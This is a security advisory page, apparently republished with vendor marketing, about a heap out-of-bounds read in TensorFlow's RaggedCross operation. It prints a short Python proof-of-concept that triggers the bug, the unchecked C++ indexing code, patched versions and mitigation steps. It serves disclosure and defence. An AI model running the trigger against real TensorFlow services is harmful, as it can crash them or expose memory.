GHSA-j47f-4232-hvv8 is a low-severity (CVSS 2.5) vulnerability in tensorflow. 1 public exploit reference exists, so weaponization risk is real. O3 Security confirms whether GHSA-j47f-4232-hvv8 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Heap out of bounds read in `RaggedCross`
Real-World Exposure
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Description
Impact
An attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to tf.raw_ops.RaggedCross:
import tensorflow as tf
ragged_values = []
ragged_row_splits = []
sparse_indices = []
sparse_values = []
sparse_shape = []
dense_inputs_elem = tf.constant([], shape=[92, 0], dtype=tf.int64)
dense_inputs = [dense_inputs_elem]
input_order = "R"
hashed_output = False
num_buckets = 0
hash_key = 0
tf.raw_ops.RaggedCross(ragged_values=ragged_values,
ragged_row_splits=ragged_row_splits,
sparse_indices=sparse_indices,
sparse_values=sparse_values,
sparse_shape=sparse_shape,
dense_inputs=dense_inputs,
input_order=input_order,
hashed_output=hashed_output,
num_buckets=num_buckets,
hash_key=hash_key,
out_values_type=tf.int64,
out_row_splits_type=tf.int64)
This is because the implementation lacks validation for the user supplied arguments:
int next_ragged = 0;
int next_sparse = 0;
int next_dense = 0;
for (char c : input_order_) {
if (c == 'R') {
TF_RETURN_IF_ERROR(BuildRaggedFeatureReader(
ragged_values_list[next_ragged], ragged_splits_list[next_ragged],
features));
next_ragged++;
} else if (c == 'S') {
TF_RETURN_IF_ERROR(BuildSparseFeatureReader(
sparse_indices_list[next_sparse], sparse_values_list[next_sparse],
batch_size, features));
next_sparse++;
} else if (c == 'D') {
TF_RETURN_IF_ERROR(
BuildDenseFeatureReader(dense_list[next_dense++], features));
}
...
}
Each of the above branches call a helper function after accessing array elements via a *_list[next_*] pattern, followed by incrementing the next_* index. However, as there is no validation that the next_* values are in the valid range for the corresponding *_list arrays, this results in heap OOB reads.
Patches
We have patched the issue in GitHub commit 44b7f486c0143f68b56c34e2d01e146ee445134a.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | tensorflow | all versions | 2.1.4 |
| 🐍PyPI | tensorflow | ≥ 2.2.0&&< 2.2.3 | 2.2.3 |
| 🐍PyPI | tensorflow | ≥ 2.3.0&&< 2.3.3 | 2.3.3 |
| 🐍PyPI | tensorflow | ≥ 2.4.0&&< 2.4.2 | 2.4.2 |
| 🐍PyPI | tensorflow-cpu | all versions | 2.1.4 |
| 🐍PyPI | tensorflow-cpu | ≥ 2.2.0&&< 2.2.3 | 2.2.3 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tensorflow. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update tensorflow to 2.1.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j47f-4232-hvv8 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-j47f-4232-hvv8 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-j47f-4232-hvv8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-j47f-4232-hvv8 in your dependencies?
O3 detects GHSA-j47f-4232-hvv8 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.